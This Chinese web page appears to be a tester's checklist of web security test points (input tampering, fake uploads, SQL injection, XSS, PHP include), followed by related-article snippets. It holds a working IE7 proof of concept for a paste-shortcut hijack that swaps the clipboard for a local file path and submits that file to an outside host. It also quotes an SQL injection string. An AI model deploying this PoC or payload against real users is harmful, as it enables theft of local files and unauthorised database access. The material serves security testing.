1. 客户端/服务器短对数据有效性是否都进行了验证:
可以使用TamperIE这个小工具,来截取用户提交的数据,修改提交的数据,绕过客户端检测直接提交给服务器,来查看服 务器端是否检测了数据的有效性。
2.客户端上传安全测试,比如只能上传图片格式的文件(jpg、png、gif),测试是否可以使用冒牌的图片进行上传:
如在新建一个txt文件,将其扩展名修改成jpg,进行上传,查看是否上传成功。
3.直接通过URl操作非法数据,如删除功能,可以通过click删除,也可以直接使用url直接删除,测试是否可用使用url删除非法数据
4.测试页面中js代码是否被执行,如:在文本框或其他的地方,输入js代码,测试是否能被执行。
5.sql注入
6.xss攻击,解决办法:可以让服务器生成一个动态值给客户端。
7.php特有的一个安全问题include("$test".xx.php),可以让外部非法程序获得可执行程序
8.Javascript Paste Keyboard Shortcuts Hijack
这样的攻击手段也算是极其无耻 猥琐之极! 所以防御措施一定要做好首先说一下通过Javascript Paste Keyboard Shortcuts Hijack能做什么???能够读取你本地机器任何文件! 没错!也就是说 你中了任何一个XSS 加上你按了粘贴快捷键后,你就有可能被别人读取你机上任何的文件!那到底是什么回事呢? OK 我慢慢来说首先 我们知道JS是无权限获读取你本地任何文件的... 那么我们必须要让用户上传自己的文件!怎么让用户上传呢? 很简单! 通过 <input type=file > 这样就能让用户上传文件了!现在又一个问题是, input 为file的时候 value的值 不能用代码set进去!必须要让用户自己填写! 必须要通过人机交互!其实说到这里!聪明的你大致也应该明白怎么回事! 接着说! 用户不可能把自己的文件填写上去提交给你看的吧?没错~ 那么 就等待用户 进行快捷键粘贴的时候 哈哈~~说说步骤
1. 判断是否 进行 ctrl + v
2. 替换粘贴板
3. 光标切换到 文件上传
4. 善后工作就交给你了 ( 例如如何把上传textbox透明化,当前页面不会因表单提交而跳转 )
IE7 下的 POC :
<HTML>
<HEAD>
<TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE>
</HEAD>
<body onkeydown="temp()">
<input>
<form action="http://www.kj.com" method=post name=s>
<input id=kj_filehijack type=file name=fhijack>
</form>
<script>
function temp()
{
if(event.ctrlKey){
if(event.keyCode==86){
window.clipboardData.setData("text","c:/boot.ini");
document.getElementById('kj_filehijack').focus();
document.s.submit();
}
}
}
</script>
</BODY>
</HTML>
分享到:
相关推荐
安全性测试总结,主要是关于安全性测试的一些资料
### 软件安全性测试总结 #### 一、软件安全性测试概述 安全性测试,作为软件质量保障的一个重要组成部分,近年来随着网络安全威胁的日益增多而变得越来越受到关注。尤其是在国内,由于许多知名网站遭受攻击和重要...
安全性测试的目的 安全性测试内容 安全性测试方法 详尽的说明 1.应用程序安全测试 2.操作系统安全测试 3.数据库安全测试 4.IIS服务器安全测试 5.网络环境安全测试
【安全性测试】是确保软件系统在面临潜在威胁时能够保护数据和系统安全的重要环节。安全性测试的目的是验证软件系统在防止危险状态、处理错误、抵御攻击等方面的能力,以确保其符合安全需求。测试内容通常包括功能...
sql注入:将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串 示例:在查询中输入字符串 ' or 1=1 --
Web安全性测试是保护在线应用程序免受恶意攻击的关键环节。在这个8讲的系列中,我们将深入探讨几种最常见的Web安全威胁,并了解如何检测和防止这些威胁。以下是各讲的主要内容: 第一讲:Web安全性测试介绍 这一讲...
本文论述了软件安全性测试的特点和主要内容,重点研究了国内外软件安全性测试的主要方法,最后总结了当前研究工作并指出了未来软件安全性测试技术的研究重点与发展方向。 软件安全性测试的特点是确定软件的安全特性...
### 软件安全性测试与漏洞分析实践方法 #### 第1章:软件安全性测试与漏洞分析实践方法 ##### 一、软件安全性测试的概念与重要性 - **定义**:软件安全性测试是一种通过模拟攻击和漏洞挖掘等手段来评估软件系统的...
通过深入分析和扫描,AppScan能够帮助企业识别并预防潜在的安全风险,确保Web应用的安全性。 首先,AppScan的工作流程始于起始页的爬取,它会遍历网站的所有可见页面,包括通常的管理后台,以覆盖尽可能多的测试...
- **测试范围**:涵盖了功能测试、性能测试、安全性测试、用户界面测试和兼容性测试。测试内容包括购物车操作、商品买卖、商品上下架、供应大厅功能等。 2. **测试计划执行情况** - **测试类型**:包含了黑盒测试...
渗透测试(Penetration Test)是一种安全测试方法,通过模拟黑客攻击来评估系统的安全性。这篇文档是关于网络安全、Web安全和渗透测试相关笔试的总结,适合刚毕业的实习生准备相关面试。 对称加密和非对称加密是两...
本文将详细阐述几个关键的通用测试点,包括界面测试、页面元素测试、相关功能测试、安全性测试以及其他测试,以及针对代码的质量评估。 **一、界面测试通用测试点** 1. **页面显示**:测试页面在不同浏览器窗口...
移动APP安全测试是确保应用程序在面临各种安全威胁时能有效防护的重要环节。本文将深入探讨移动APP的安全风险、反编译保护、二次打包防范以及组件安全等关键知识点。 首先,移动APP安全风险主要分为三个层面:...
该部分涵盖了软件测试项目的测试结果和结论,包括测试的有效性、可靠性、安全性等。 8. 缺陷清单 缺陷清单是软件测试项目的重要组成部分。该部分涵盖了软件测试项目中发现的缺陷,包括缺陷的类型、数量、严重程度...
APPSCAN 进行安全性检测的知识点,包括 APPSCAN 的简介、核心漏洞支持、广泛的应用程序覆盖、自定义和可扩展功能、高级补救建议、法规遵从性报告等方面的内容,并结合信息系统安全性概述和 Web 安全性测试要点进行...
测试任务包括功能测试、性能测试、兼容性测试、安全测试和用户接受测试,确保系统稳定、高效且符合用户期望。 2.4 TinyShop 测试过程 测试过程中,运用了TestLink和Mantis等工具,设计了详细的测试用例,执行测试...
- **系统存在的风险**:评估系统可能存在的潜在风险,如性能瓶颈、安全性问题、兼容性问题等,并提供相应的解决方案和预防措施。 总结来说,Web项目测试是一个系统性的过程,涵盖多个层次的测试活动,从需求验证到...